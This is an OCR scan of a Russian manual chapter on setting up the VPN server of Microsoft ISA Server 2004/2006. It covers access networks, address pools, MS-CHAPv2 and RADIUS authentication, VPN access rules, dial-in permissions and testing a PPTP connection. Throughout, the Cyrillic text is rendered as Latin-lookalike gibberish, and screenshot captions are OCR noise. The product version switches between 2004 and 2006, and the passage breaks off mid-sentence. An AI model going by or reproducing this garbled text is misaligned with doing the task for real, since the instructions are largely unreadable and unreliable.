UTHOPHUPYIOTCS, KOIJa UCHojJb3yercs ayTreHTuduxamus Windows
(Hanpumep, korjga mammHa ¢ Opanamayspom ISA 2004 npuHaIeKHUT

JAOMCHY U I10JIb30BAaTCJIb ABHO BBOAUT BCPUTCIIbHBIC JAaHHLBIC )IOMCHa).
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2xi

OBLuLe I prnnbll MpoTokons! COMOCTEBNEHME MONb30EaTENEH I

ConocTagnNeHHE NoNE30BaTENSA MCNoONESYETCA ANA CONOCTIENEHHA
VPM—UAMEHTOE M3 NPOCTRPEHCTE MMeH He Windows (nonssosaTtenu,
NPOLWEALWME NPOBEPKY NOAMMHHOCTI RADIUS 1 EAF)
NpPOCTPEHCTEOM MMeH Windows,

E pesyneTaTe NpaBvna AoCTYNa, NMPHMMEHASMEIE K HEB0PEM YUYETHEIX
sanmce Windows, Takoke NPMMEHANDTCA M K YYETHEIM 3arHMCcAM M3
NPOCTPEHCTE MMeH He Windows,

F ;§K..|'Ir0"—|l—-1Tb CoONnocTasgned1es I'IDJ'Ib3DEFaTEJ'IEI::1§

|7 Ecnm B MMEHK NoNb30BaTEeNA HE COASpHMTOA AOMEH,
MCMONE30BaTE ASHHEI aoMeH

NaMeHHoe uMaA: | IUSER-2E55B2658E1

CnpaBka No conocTasneHme NonL3oBaTENSH

L] I CTMeHa FpHMEHHTE

Puc. 13. Bxnanka «Comnocrasienue nosb3osarenei (User Mapping)»

o Illenkuure Mmbimbio KHONKU Apply (IIpumenuts) u OK. Bbl yBunute
nuajoroBoe okHo Microsoft Internet Security and Acceleration Server
2006 (Cepsep 3amnmuiieHHoro osicTporo npoctyma k cetu Uarepuer 2006),
uHopMHUpyIOlllee Bac O TOM, YTO HEOOXOJWMO Tepe3amyCTUTh
KOMITBIOTED [IJI1 BBOJA B JCHCTBHE YCTAHOBIICHHBIX MapaMeTpoB. Ecim
TakK, MEIKHUTE MBIIIbI0 KHONKY OK B 11anoroBoM okHe.

e Ha Brianke Tasks (3agaun) mienKHUTE KHOMKOW MBIIMM CTpoKy Select
Access Networks (BsiOpaTh cetu n1octyna).

e B jgumamoroBom oxuHe Virtual Private Networks (VPN) Properties
(CrotictBa: Bupryanbnble uactHbie cetu) (puc. 5.2.1.4) mienkHute
kHomKkoM MbImu Bkiaaky Access Networks (Ceru moctyma). Obparute
BHUMAaHHE HAa TO, 4TO ycTaHOBJeH ¢uaxkok External (Bremnsst). D10
O3HAYaeT, YTO BHEIIHUN WHTEpENC 0KUIAeT BXOMAIINE COCTUHEHHS OT
VPN-knuenToB. Eciau Bbl XOTUTE€ BHYTPEHHHMX IOJIb30BaTENIEeH MOA-

KIIIOUNTh K Opanamayspy ISA, Beioepute dnaxok Internal (Buyrpennsis)

311
374



Ectes Taxxke BapmanThl, pazpemraronpie VPN-nomxmouenus u3  All
Networks (and Local Host Network) (Bce cetu, u nokaiabHBIN

koMmibioTep) U All Protected Networks (Bce 3ammumennsie ceTtn).

CBoRCT Ba: BADTYaNbHbIE YacTHbIE CETH e |

MNpoBepka NoAAMHHOCT I MpoTokon RADIUS
CeTn pocTyna HazHaq4eHWe aapecos

OnAa nogknoYeH A VPM-4NMeHTOS BEIBEPHMTE CETH, M3 KOTOPEBIX KAHMEHTEI
MOr YT MHMUMWMPOBaTh NoaknodeHka K VPN -cepeepy.

OnA coeaMHEHWA "CETE-CETE ™ BRIDEPMTE NOKaNbHYHD CETh, CETEBaRA
NNaTa KoTopoH MONonNs3YETCA Kak YPMN-WNs 4ns NogknoYeHts K
YASNEHHOM CETH.

3T NapameTpel ABNATCA obwimk ana scex VPM-KnMeHTos 1
nogknoYeHi Tina “ceTe-ceTb ™.

KimA OnucadHne

S EBHeLWHAR =]

== BHY TpeHHAR CeTh, NpeacTaBnADWan EHYTPeH
O -_-"5_.Elce SALWMLULEHHEBIE CETH 3ToT NpeaonpeaeneHHelit Habop ¢
O '_"'5_.Eice CeTH (M NOKANEHEIA ... 3TOT NpeacnpeasneHHEIR Habop ©
4] | |

OK I OTHMEHS I MpHMEHKTE I

Puc. 14. Bribop ceteit noctymna

Bo3moxknocts BbiOOpa VPN-coenuHeHuit W3 pa3HBIX ceTed MOXKET ObITh
MOJIE3HA, €CJIM Y Bac €CTh HeOE30MacHbIE CETH, PacCIOJIOKEHHbIE 3a OpaHIMay3poM
ISA. Ilpennonoxum, 4To y Bac €CThb TpexaJlanTepHblii Opanamaysp ISA, nMerommii
BHEIIHUH nHTep(eiic, BHyTpeHHui nntepderic u uarepderic WLAN (Wireless Local
Area Network, OecnipoBonHas nokanbHas cetb). Mutepdeiic WLAN npumensercs
JUTSI TIOJIb30BaTeNiel MOPTATUBHBIX KOMITBIOTEPOB (laptop), KOTOpbie HE YIPaBISIOTCS
Ballel opraHuzanuei. Bbl MoxkeTe mnoTpeOoBaTh Takke W OT MOJb30BaTenei
YIIPaBJISIEMbIX KOMIBIOTEPOB HCMOJIb30BaTh cerMeHT WLAN, korga oHM NpUHOCST
MOPTATUBHBIE KOMITBIOTEPHI, KOTOPBIE MEPEMEIIAIOTCS MEXY KOPIIOPATUBHON CETHIO
U CETSIMU, HE 3aCTy>KUBAIOLIUMU JOBEPHUS.

Bbl HacTpamBaeTe mpaBmia JocTyna Ha Opanamayspe ISA, 3anpemiatoriue

coenunenuss u3 cermeHta WLAN. Ho Bbl QopMupyere mnpaBwia A0CTyna,
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paspematomue VPN-coenunenus c¢ untepdeiicom WLAN 11 moakmroueHus K
pecypcaM  KOpPIIODaTUBHOM BHYTpPEHHEH ceTH. B 3TOM ciiydya€ HUKTO U3
moJib30BatTesei, coeauHsmomuxcs ¢ cermeHToM WLAN, He crmocoOeH MOTy4YuTh
JOCTYIl K pecypcaM B KOPIIOPATHBHON BHYTPEHHEW CETH, 33 HCKIIOYEHHEM TeX
KOPIIOPATUBHBIX TOJIb30BATENIEd, KTO MOXKET YCTaHOBUTh VPN-coeamHeHnue c
unrepdpericom WLAN nHa Opanamayspe ISA u mpenocTtaBUTh COOTBETCTBYIOIIHE
BEpUTEIbHBIC JNaHHbIe Ui 3aBepuieHuss VPN-coenunenus. [lpyroil cuenapuii, B
KOTOpOM BBl MokeTe pazpemnth VPN-coenunenune c¢ Opanamayspom ISA, —
¢ynkunonupoBanue Opanamayspa ISA kak BHemHero (front-end) Opanamayspa. B
ATOM Clly4a€ Bbl, BO3MOXKHO, HE 3aXOTHUTE pa3pellaTh NPSIMbIE COCIUHEHUSA IO
npotokosry RDP (Remote Desktop Protocol, npoTokon ygaineHHOro pabodero crosnia)
unu ynanenasie coenunenuss MMC ¢ 6panamayspom ISA. V Bac ecTh BO3MOXKHOCTD
paspemuutb RDP-coenunenus tonbko ot VPN-kimeHTOB M 3arem paspemuts VPN-
KJIIMeHTaM JocTyn no nportokony RDP k ceru nokaneHoro xocra (Local Host
Network). B aToM ciyuyae mosib3oBaTenb JOKEH YCTaHOBHUTH 3aiuiieHHoe VPN-
COEIMHEHNE C BHEITHUM OpaHamay’poM ISA, npexie 4eM MOXKET ObITh YCTaHOBJICHO
RDP-coeaunenune. XoctaM, COEIUHSIONIMMCSI C MOMOUIBIO JHOOBIX APYTHX CPENCTB,
3anperaercs 1octyn kK RDP-nporokosam.

o [llenxkHure KHONKOM MbIM BKIAAKy Address Assignment (Hasnauenwue
aapecoB) (puc. 5.2.1.5). Beibepute B packpeiBaromiemcs cnucke Use the
following network to obtain DHCP, DNS and WINS services
(Mcnonb30BaTh ClEQyIONIYIO CETh Jisl MOJYYEHUsl JOCTyna K Ciay:k0am
DHCP, DNS u WINS) anement Internal (Buyrpennss). 1o BakHas
YCTaHOBKA, TOCKOJIBKY OHA OIIPENEIISET CETh, B KOTOPON OCYIIECTBISAETCS

noctyt k cepsucy DHCP.
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Ceo#icT Ba: BapTyanbHble YacTHBIE CeTH el

MNMpoEepka No4NMHHOCTKH I MNMpoTokon RADILS I
CeTw aocTtyna HasHa<eHwe anpecos

 BeibepuTe cnocol HasHadenna IP-agpeca:;
' Oyn cTaTHYeoKUX anpecos

AranasoHel IP-aapecoE:

HauansH. .. I KoHeyHsl. .. I Cepeep | AoEEaEHTE. .. I
192.168.0.... 192.168.0... user-9e55...
sMEHHTE . |

FASENHTE. ..

Loy MpoTokon DHCP. He noaaep#MBaEeToA ANA MAcCMBOEB M3
HECKONBKKWY CEpBEDOB.

McnonesoBaTe CNeAYHOWYHD CETE ANA NOAYYEHMA AOCTYNE K cnyHbam
DHCP, DM5S 1 WINS:

OononHUTENBHEIE NE3PaMETPEl MPHMMEHMMEI OononHUTENEHO. .. |
ToNbKo ANA yaaneHHex VPN+nMeHTos,

QK I OTHMEHS I MNpHMEHKTE I

Puc. 15. Bxknanka «Ha3nauenue anpecoB (Address Assignment)»

3amMeThTe, YTO 3TO HE EIMHCTBEHHO BO3MOXKHBIA BbIOOpP. MOXXHO BBIOpaTh
moboi u3 agantepoB OpanaMayspa ISA B ciiucke Use the following network to obtain
DHCP, DNS and WINS services (Mcnonp30BaTh CIEIYIONIYIO CETh ISl MTOJTYYCHUS
cepsucoB DHCP, DNS u WINS). KitoueBoil BBIBOJ 3aKJIIOYAETCS B TOM, YTO BbI
BBHIOMpAeTe ajanTep, Ha KOTOPOM €CTh KOppEeKTHas WH(opMaius cepBepa UMEH U
HanOoJiee BEpOSITHBIA KaHAMJIAT — BHYTPEHHUU MHTepdeiic Opanamayspa [SA. YV Bac
TaKXe€ €CTh BO3MOXXHOCThb HCMOjib30BaTh Static address pool (Ilynm cratmueckux
aapecoB) i HasHaueHus angpecoB VPN-kimuentam. [IpoGnema mpuMeHeHwus myna
CTaTUYECKUX aJPECOB 3aKIIOYAETCS B TOM, UTO NMPU HA3HAYEHUU AJIPECOB U3 MOACETH
(ampeca B cetu ¢ Tem ke cereBbIM uaeHTHUukatopoMm (ID), uTo u oguH U3 WH-
TepdericoB Opanamayspa [ISA) HeoOX0MUMO ynansiTh 3TH apeca U3 CeTH, K KOTOPOi
nojcoeAHeH Opanamaya3p [SA.

[Ipeamonoxum, uro y Opanamayispa ISA ecth 1aBa cereBbIXx HHTepderica:
BHEIIHUWA W BHYTpeHHHU. BHyTpeHHUN uHTepdeic CoelMHEeH ¢ Ballleld BHYTpEHHEH
CEThI0 TI0 YMOJYAaHHMIO M ee cereBod umaeHTudukarop — 192.168.1.0/24. Eciu BbI
XOTUTE Ha3HAYUTh anapeca VPN-kimeHTaMm u3 Auana3oHa aapecoB BHYTPEHHEW CETH,
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UCIIONB3YSl TyJ CTaTUYECKUX aapecoB, Hampumep 192.168.1.200/211 (Bcero 10
aZpecoB), BaM HYXXHO OyJeT BpYYHYIO YJajduTh O3TU aJpeca U3 OIpeAcIICHUS
BHYTPEHHEH CeTH, MPEeXJE YeM BbI CMOXETE CO3[aTh W3 HUX My CTaTUYECKUX
aapecoB. Ecnu BBl MOMBITAETECh CO3/1AaTh MY/ CTATMYECKUX AJPECOB C COXpaHECHHEM
ATUX aJPECOB B MOJCETH (on subnet), TO yBUIUTE COOOIICHUE 00 OITHOKE.

o Illenkuure kHOMKOM MbIK BkiIagky Authentication (IIpoBepka
NOTMHHOCTH). OTMEThTE, YTO YCTAHOBJICH TOJNBKO (uraxkok Microsoft
encrypted authentication version 2 (MS-CHAPv2) (IlludpoBanHuas
ayTeHTUQuKauus Bepcuu 2, [IpoToKo NpoBEpKU MOIMHHOCTH 3aIpoca-

noaTBepxkAcHUS Microsoft Bepcuu 2).
2 x|

CeTh AocTyna | HazHaueHWe aapecos
MNpoBepka NoOAAMHHDCTI MpoTokon RADIUS

— MeToabl NpoBEpKK NOANMHHDCTH

BribepuTe METOAEI NPOEEPKM MOAMMHHOCTH ANA MCNOMNE30BaHNA MpK
HHHLMSLAMK NoAKADYeHHA K cepsepy ISA Server co CTopoHbl WK SS
YASNEHHDH CETM MNKM yaaneHHoro VPMN-KneHTa.

¥ WbposaHHas nposepka NoaNMHHGCTI (Microsoft, sepois 2, |
MS-CHAP, Bepaia 2)

[T MpoTokon paoumpeHHoii NpoBepkiA NoanMHHOCTH (EAF) ©
MCNONBS0BEHWEM CMEDT-KapThl MK APYroro cepTudmKaTa.

McnonesyiTe NepeYrcneHHBIE HIBKE NPOToROMR TOABKS ANA
VPM-KnMeHToB, paboTaowx Ha Windows 98 1k Windows NT 4.0,
KOTOPEIE HE MMEKDT YCTEHOBNEHHOMD MNPOrPaMMHOrD obecneqYeHa
VPM+wnmedTa.

™ WudposanHan npoeepka NoanMHHoCT Microsoft (MS-CHAP)

[T Wubposantan nposepka noanuHHocTi (CHAP). TpefiyioTca
ofpaTHMBlE NaponA.

[T Opotokon nposepkk napons Shiva (SPAR)

[T HesawudposaHHeii napons (PAF)

— PaspewrTe NoALsoBaTeNECKME MNonMTHRKK IPsec anAa noaknoyeHA
LZITP

[NpEABapHTENEHBIF I

QK I CTmeHa I [FEHMMEHHTE I

Puc.16. Bxnaaka «IIpoBepka nommmaaOCTH (Authentication)»

e [llenkHute kHOmkoW M™MbK BkiIaaky IIporokon RADIUS (Remote
Authentication Dial-In User Service, cunyx0a ayTeHTUUKAIIMN
YAAJIEHHOTO JI03BaHUBAIOLLETOCs (KOMMYTHPYEMOT0) ToJjib3oBaTesns). Ha
ATOM BKJIAJKe MOXHO HacTpouTh VPN-cepBep Opammmayspa ISA 2006
JUIsl ipuMeHeHust ayTeHTuukanuu VPN-monb3oBaTeneil ¢ MmoMoIbio

cepeuca RADIUS. TIlpeumyiiecTBO MNOATBEPKIACHUS MOMIUHHOCTH
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cpenctBamu RADIUS 3akimrouaercs B TOM, 4TO MOKHO IpPHBJIEYb 0azy
JAHHBIX TIOJIb30BaTeNie ciyxObl Active Directory (umum  Aapyrux
KaTajoroB) id ayTeHTU(UKAIMM IOJIb30BaTeNeil 0e3 00s3aTeNbHOTO
YICHCTBA B JOMEHE Opanamayspa [SA.

e B gumamoroBom okHe Virtual Private Networks (VPN) Properties
(CroticTBa: BupTyanbHble YacTHBIE CETH) IIEIKHUTE MBIIIBIO KHOIKY
Apply (ITpumenuts) u 3aTeM kHOnKy OK.

o Illenkuure Mbimblo kHONKY Apply (IIpumenuts) nnsi coxpaHeHus
U3MEHEHUHN 1 OOHOBJICHUS MOJIUTUKHN OpaHIMayspa

e [llenxknure ™mblbio kHOnKy OK B pmamoroBom okHe Apply New
Configuration (ITpuMeHUTH HOBYIO KOH(UTYpAIHIO).

e [lepesanycture Mammny ¢ Opanamayspom [SA.

Co3nanue npaBuja 10cTyna, npeaocrapisiomero VPN-kiaunenram gocryn
K pa3pelieHHbIM pecypcam

bpanagmaysp ISA mnocne mnepesamycka KOMIBIOTEpA CMOXET IPUHUMATH
Bxomamme VPN-coenunenusa. Ho VPN-kinueHThl HE mosydaT JOCTYIT K pecypcam,
MOCKOJIBKY HET MpaBUJl JOCTYIA, pa3pelialouux UM MoiydaTrh 4To-nmmbo. Criemyer
CO3/IaTh MpaBuia JO0CTYyIa, pa3pemiaronme wieHaM cetu VPN-kiIueHToB oOpamarhes
K pecypcaM, KOTOpPbIE Bbl 3aXOTHTE UM IMPEIOCTABUTh. JTOT BAPUAHT 3HAUYUTEIIHHO
OTJIMYAETCS OT APYrMX KOMOWHHMPOBAHHBIX pelieHuit Opanamayspa/VPN-cepsepa, B
KOTOPBIX TPUMEHSIOTCS OTCIICKUBAIOIINE COCTOSHUE COCIMHEHUM (PuibTpanus u
MPOBEPKA HA MPUKJIATHOM YPOBHE BCEX coeMHECHUN VPN-KIHEeHTOB.

B cienyroniem npumepe co3gaeTcs IpaBuiio JOCTYIA, pa3peniatroniee JrooomMy
TpaduKy mpoxoauTh U3 ceTtd VPN-kIMeHTOB BO BHYTPEHHIOI CeTh. B
MPOU3BOACTBEHHON Cpele BaM MPUIUIOCh Obl co37aBarh Oojiee CTpOrve mpaBuia
J0cTyna, Jyisi TOro 4yToObl moib3oBatenu cetd VPN-KIHMEHTOB Mojydyaiaud JOCTYIl

TOJIBKO K TEM pecypcam, KOTOPhIE UM HEOOXOMUMBI.
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Breimonnute cileayromue maru JJIA CO3aaHuA IIpaBuJia A0CTYyIIa,

o0ecreunBaroIIero HeorpaHMYeHHbIN gocTyn 11t VPN-KIneHToB.

Ha xoncomn ynpasnenuss The Microsoft Internet Security and
Acceleration Server 2006 (CepBep 3alIMIIEHHOTO OBICTPOTO AOCTYIA K
cetu Untepuer 2004) packpoiiTe OKHO, CBSA3aHHOE C UMEHEM cepBepa, U
menkHuTe  kHomkod  Mbimm - y3en  Firewall Policy  (ITonutuka
MeKceTeBOro 3kpana). lllenkauTe mpaBoi KHOMKOW MbIH y3en Firewall
Policy (ITonmutmka Opanamayspa), YKaXUT€ JEBONW KHOIKOM MBIIIH
komanay New (Coznatb) u 3ateM Access Rule (IlpaBuiio gocryma).

Ha crpanunie New Access Rule Wizard (Mactep co3manusi npaBuiia
JI0CTyNa) BBEIUTE Ha3BaHUE MpaBuia B TeKkcToBoe moisie Access Rule
name (MMsa npaewna pocryna). B mannom mpumepe — VPN Client to
Internal. Il{enxkuuTe Mbimbio kHONIKY Next ([anee).

Ha crpanune Rule Action ([leiicTBue npasuia) Beioepute BapuanT Allow
(Pa3pemnts) u menkHUTE MbIIbI0 KHONIKY Next ([lanee).

Ha crtpanune Protocols (ITporokonsi) BeiOepuTe BapuanT All outbound
protocols (Beck ucxomsimuii tpaduk) B crmcke This rule applies to
(lannoe mpaBuio npumensiercs: k). lllenkHuTe MBIIBIO KHOMKY Next
(anee).

Ha crpanunie Access Rule Sources (McTounuku mpaBui goctyrna)
nienkHuTe MbIblo KHONKY Add ([Jo6aButh). B nuamorosom oxne Add
Network Entities (JloO0aBneHrHe ceTEBBIX CYIIHOCTEN) IETKHUTE KHOTIKOW
MmbIm nanky Networks (Cetr) U IBaKIbl MIEIKHUTE MBIIIBIO y3el VPN
Clients (VPN-xnuenTsl). Llenkaute Mbibio kKHOMIKY Close (3aKkphITh).
enxkaure mbimbio kHONKY Next ([lamee) na crpanuiie Access Rule
Sources (McTounnku npaBui A0CTyNA).

Ha crtpanniie Access Rule Destinations (IIlyHKTbI Ha3HaueHUs TpaBUII

noctyna) menkHuTe Mbiblo KHOonkKy Add ([loOaButh). B nuanoroBom
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okHe Add Network Entities (JloOaBneHue CeTEBBIX CYIIHOCTEH)
HICJIKHUTE KHOMKOW MbIiy nanky Networks (CeTn) u qBax bl MEIKHUTE
MbImbio y3ea Internal (Bryrpennss) m Local Computer (JIoxampHbIiA
koMIbroTep). [llenkanTte MbIbio KHOTIKY Close (3aKkphITh).
e Ha crpanune User Sets (HaGopbl y4eTHBIX 3amuceil) COIIACUTECH C
ycraHoBko# 1o ymonuanuio All Users (Bce monbp3oBarenu) u mMEIKHUTE
MbITBI0 KHOTIKY Next ([anee).
e [llenkuure kHomky Finish (I'otoBo) Ha crpanune Completing the New
Access Rule Wizard (3aBepiuienue mactepa co3aanus [Ipasuio gocryna).
e [llenknure Mbimblo KHONKY Apply (IIpumenuTs) nmns coxpaHeHus
M3MEHEHUI 1 OOHOBJICHHSI MIOJUTUKU OpaHaMayspa.
o [llenkuure w™mbimbpio kHONKy OK B mmamoroBom okne Apply New
Configuration (IIpumenuTs HOBYI0 KoH(uUrypauuto). Ilomutuka VPN-
KIIMEHTA TETepb OTpakeHa B BEPXHEM TPAaBWIIC JOCTYyTa, TPUBEICHHOM B
CIUCKE MOJIUTHKHU JOCTYyTIA.
C »sroro momeHTa VPN-KIMEHTBI, YCHENIHO TOATBEPAMBIINE CBOKO
MO/VIMHHOCTh M HMMEIONIUE pa3pellieHne Ha COequHEHHE Mo TejaedOHHOW ITUHUH,
UMEIOT BO3MOXXHOCTh JIOCTYIa KO BCEM pecypcaM BHYTPEHHEH CETH C TOMOIIBIO

1000r0 MPOTOKOIA.

Pa3pemenue y1ajgeHHOro J0CTYyNAa N0 TeJe(pOHHON JUHUHT

B nomenax Active Directory, HaXOoAsIIMXCsl B HCOCHOBHOM pexkume (non-native
mode), A BCeX YYETHBIX 3alHMCceil MOJb30BaTeNield MO0 YMOJTYAHHWIO YAAJICHHBIN
noctyn no tenegonHo nuHUU (dial-in) 3anpeiieH. Bel D0MKHBI pa3peliuTh TaKoM
JIOCTYI, OCHOBBIBASCh Ha YYETHBIX 3alUCAX I ATUX MoMeHOB Active Directory,
HaxOJAIIMXCS B HEOCHOBHOM pexuMme. HamportuB, B gomenax Active Directory,
HaxoJIAIIMXCS B OCHOBHOM pexuMme (native mode), Mo yMOJIYaHMIO YAAJICHHBIN

JAOCTYNl MO TeAeQOHHON JHMHUW YHPaBISETCS TMOJUTUKON YIAJIeHHOTO J0CTyma
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(Remote Access Policy). B nomenax OC Windows NT 4.0 ynanensslii noctyn mo
TenedOHHOM JIMHUYU YIPABIIAETCS MMOCPEACTBOM YUETHBIX 3aMMHUCEH MMOIb30BATES.

BremmonHuTe creyromuye mard Ha KOHTPOJUIepe JOMEHa Ui pa3pelieHus
YAAJIGHHOTO JIOCTYTIA 10 TeJe()OHHOM IMHUM JyTsl ydeTHOM 3anucu Administrator.

e Illenxkuute Mmeimbio kHOnKy Start (ITyck) u ctpoky Administrative Tools
(AnmunuctpupoBanue). Illenkaure Mbimbio ocHactky Active Directory
Users and Computers (Active Directory — moib30BaTe) i 1 KOMIIBIOTEPHI).

e B ocnactke Active Directory Users and Computers (Active Directory —
MOJIb30BATEIM M KOMIIBIOTEPHI) IICJIKHUTE MbIIb0  y3en  Users
(ITonp3oBatenu) Ha JeBOM MaHenu. [[BayKIabl IIEIKHUTE KHOIKOW MBIIIN
y4eTHyto 3anuch Administrator Ha mpaBO¥ MaHeIU OCHACTKHU.

o [llenxknure KHOmkoW MbimK BkIaaky Dial-in  (Coegunenue 1o
tenedonHoi ymHumn). B odmacti Remote Access Permission (Dial-in or
VPN) (Pa3zpemienne yaaneHHOro JOCTyMa, MO MOJEMY WA 4Y€pe3 CEThb
VPN) Beibepute mnepexmtouarens Allow access (Paspemmts moctym).
[enkuute Mpitbio KHONKY Apply (Ilpumennts) u 3arem kHonky OK.

e 3akpoiite ocuactky Active Directory Users and Computers (Active
Directory — moyib30BaTesi 1 KOMIIBIOTEPHI).

Jpyroii BapuaHT — co3/1aTh Tpynnbl Ha caMoM Opanamayaspe ISA u nomecTuTh
UX B TPYIIbIL. DTOT METOJ MO3BOJUT NMPUMEHUTh YCTAHOBOYHBIE MAapaMETPhl IO
YMOJYAaHHUIO B YYETHBIX 3alUCAX TMOJb30BaTeNeH, CO3MaHHBIX HAa OpaHaMayspe, IS
KOTOPBIX MO0 YMOJYAaHHUIO BBIOpaH IJIsl YJAJICHHOTO JOCTYIa Mo TeaehOHHOW JTUHUU
Control access via Remote Access Policy (KonTposb nocTymna ¢ moMomibo MOJIUTHKA
YAQJIEHHOTO JOCTYTa).

HecMoTpst Ha TO, 9TO 3TOT BapuaHT HE CIMIIKOM XOPOIIO PETYIUPYETCs, OH
BITOJTHE )KM3HECTIOCOOCH B T€X OPTaHU3ANMIX, Y KOTOPHIX OTPAaHUYCHHOE KOJMYECTBO
VPN-nons30Bareneii 1 KOTOpbIE HE XOTAT MPUMEHSTH IMOATBEPIKICHUS TTOIMHHOCTH
¢ mnomombio cucteMbl RADIUS wumu ©He wumeror RADIUS-cepBepa mis
WCIIOJTb30BaHUSI.
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Boeinmonuute creayroonme Imard JUisi  CO3JAaHUS TPYIIbl  MOJIb30BaTelNeH,
umeromux noctyn k VPN-cepBepy Opanamayspa ISA.

e Ha pabouem crone Opanamayspa ISA mienkHute npaBodl KHOMKOMN
nukrorpammy My Computer (Moii KOMIBIOTEP) W IICJIKHUTE JIEBOU
KHOIIKOM MBI KoMaHay Manage (YnpaBieHue).

e Ha xoncomu Computer Management (YmpaBieHue KOMIIbIOTEPA)
packpoiite y3en System Tools (CmyxeOHBIE TPOTpaMMBI) U 3aTEM Y3l
Local Users and Groups (JlokanbHble TMOJIB30BATENM M TPYIIIIHI).
[[lenkHute mpaBoil kKHOMKOW MblK nanky Groups (I'pynmbl) u JeBoi
KHOTIKOM MBbIIH 1ienkHuTe komanay New Group (Hosas rpynma).

e B nuanoroBom okne New Group (HoBast rpynmna) BBenute UMsi TPYIIIbI B
tekcTtoBoe mone Group Name (Mwms rpynmel). B manHoM mpumepe Mbl
HazoeM Trpynny VPN Users. Illenknure wbimbio KHOnky Add
(Jo6aBuTs).

e B nuanoroBom okHe Select: users (BpiOop: mosb3oBarenn) MIETKHUTE
MbIbio KHONIKY Advanced ([JonomHuTensHO).

e B amanoroBom okHe Select: users (Bwibop: monp3oBaTenan) BBIOEPHUTE
MOJI30BATEJICH WIM TPYMIbI, KOTOPHIE Bbl XOTHUTE CJHI€JaTh YJECHAMU
rpynmnbel VPN-Knuentsl. B atom nmpumepe Mol BoiOepem Authenticated
Users (AyreHTndUIUpOBaHHBIC mMoJb3oBaTenn). IllenkHUTEe MBIIIBIO
kHornky OK. lenkaurte mpimbio kHOKy OK B auanoroBom okue Select:
users (Bbeibop: mons3oBaTenn).

o [llenxuure mbimbio kHOMKY Create (Co3math), a 3ateM kHomky Close
(3aKpbITh).

Tenmepp HacTpoum kommoHeHT VPN-cepBepa Opanamayspa ISA s
paspemienus aocrymna uineHam rpynnsl VPN-KnueHTs.

e Ha xoncomu ympasienuss Microsoft Internet Security and Acceleration

Server 2004 (Cepsep 3aluiieHHOro ObICTPOTO J0CTyNa K ceTu HTepHeT
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2006) packpoiiTe OKHO, CBSI3AHHOE€ C HMMEHEM CEpBEpPa, U ILIEIKHUTE
kHonkoi mbeimm y3en Virtual Private Networking (VPN) (BuptyasibHbie
gacTHeie cetn). lllenxkHure kHOMKOW MbImu cTpoky Configure VPN
Client Access (Hactpouts moctyn VPN-knmentoB) Ha Bkianke Tasks
(3amaun) Ha TaHeNH 3a7a4H.

e B mumamoroBom okae VPN Clients Properties (CBoiictBa: VPN-KIMEHTHI)
Ha Brmaake Groups (I'pynmel) menkHuTe MBIIIBI0 KHOMKY Add
([loGaBUTH).

e B muanoroBom okue Select Groups (Bwibop: «I'pynmer») BBeautre VPN-
Knuentsl B TekcroBoe mosie Enter the object name to select (Beeaute
UMCHA BBIOMpAcMbIX OOBEKTOB) M INEIKHHTE MbIIb0 KHOnKy Check
Names (Ilpoeputs umena). HaiinenHoe wuMs rpynmnbel  Oyner
noauepknyTo. [llenkunure mpimpio kHONIKY OK.

B nmanHOM mpumepe Mbl BBENIM JOKalbHYIO rpynny VPN-KnueHTsl Ha BKIagke
Groups (I'pynmsr), moromy uto VPN-10CTyn MOXKET KOHTPOJIMPOBATHCA C MOMOIIBIO
pexuma Control access through Remote Access Policy (KonTtpons mocryma ¢
MOMOILBIO MOJIUTUKHU YAAJIEHHOTO JIOCTYIA), YCTAHOBJIEHHOIO /I YYETHBIX 3amucei
nosib3oBaTenel B JokaabHOM nucreryepe SAM (Security Accounts Manager,
JUCIIETYEp YUYETHBIX 3amuceld 6e3omacHocTr) Opanamayspa ISA. Bbl Takke MoxeTe
BBECTHU MOJIb30BaTENICH U TpyMibl JoMeHa (eciu Opanamaysp ISA sBisercs 4ieHOM
JIOMEHa II0JIb30BATENEH), €CIIM JIOMEH MNOLJEPKUBAECT YNAJEHHBIM JOCTYyI 10
Te1eQOHHOMN JTMHUU C TOMOLIBIO NOJUTHKHU YJAJIEHHOTO JOCTYIIA.

e [llenkuute Mbimbo KHONIKY Apply (IIpumenunts), a 3arem kHonky OK B
nuanoroBoMm okHe VPN Client Properties (CBotictBa: VPN-KIIHEHTHI)

o [llenxkuure wMbimbio KHONKY Apply (Ilpumenuts) nns coxpaHeHus
M3MEHEHUI 1 OOHOBJICHUS OJUTUKU OpaHaMayspa.

o [llenkuure ™mbimbio kHONKYy OK B nuamoroBom okHe Apply New

Configuration (ITpuMeHUTH HOBYIO KOH(UTYPAITHIO).

321
384



TecrtupoBanne VPN-coennnenusi mo nporoxkosy PP TP

Teneps VPN-cepBep Opanamayspa ISA 2006 rotos juist npueMa CoeAMHEHUH OT

VPN-xi1ueHTos.

Brinmonnute crenyronue maru Jiia rectupoBanust VPN-cepsepa.

Ha mammne BremnHero kinenTa ¢ OC Windows XP mienkHuTe mpaBoi
KHOMKoW MbIK nukTorpammy My Network Places (CeteBoe okpy>keHHE)
Ha paboueMm crose u Beibepute komanay Properties (CBoiicTBa).

JIBaxkIbl IMICIKHUTE KHOMKON Mbimk ctpoky New Connection Wizard
(Mactep HOBBIX mojakiatoueHuii) B okae Network Connections (Cetebie
TTOIKJTFOUCHHS ).

lenxuute mbimbio kHOMIKY Next ([anee) na crpanuiie Welcome to the
New Connection Wizard (Bac mnpuBeTcTByeT MacTtep HOBBIX
TTOJIKJTFOUCHHIN ).

Ha ctpanunie Network Connection Type (Tum cereBoro moaxirOueHus)
BeIOCpHUTE TIepekirouaresb Connect to a private network at my workplace
(IToaxmrounTh K CETH Ha paboueM MeCTe) W IIEIKHUTE MBIIIBI0 KHOIKY
Next (lanee).

Ha crpanume Network Connection (CeteBoe moakiIrO4YeHHE) BHIOCPHUTE
nepekmouarens Virtual Private Network connection (IToaximouenne x
BUPTYaJIbHOW YaCTHOW CETH) M IIETKHUTE MbITTbI0 KHOTIKY Next ([anee).
Ha crpanunie Connection Name (Mwmsi moaxmtouenusi) Beeautre VPN B
tekcTtoBoe mnoje Company Name (Opranuzaius) U IIEJIKHUTE MBIIIbIO
kHonKy Next ([anee).

Ha ctpanunie VPN Server Selection (Bsibop VPN-cepsepa) BBenute 1P-
aapec Ha BHemHeM uHTepdeiice Opanamayspa ISA B TekcToBOe MoJje
Host name or IP address (Ums xomnwiotepa wim [P-anpec). llenxkaute

MbITBI0 KHOTIKY Next ([Janee).
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[enxante Mpibio KHOMKY Finish (I'oToBo) Ha cTtpanmnme Completing the
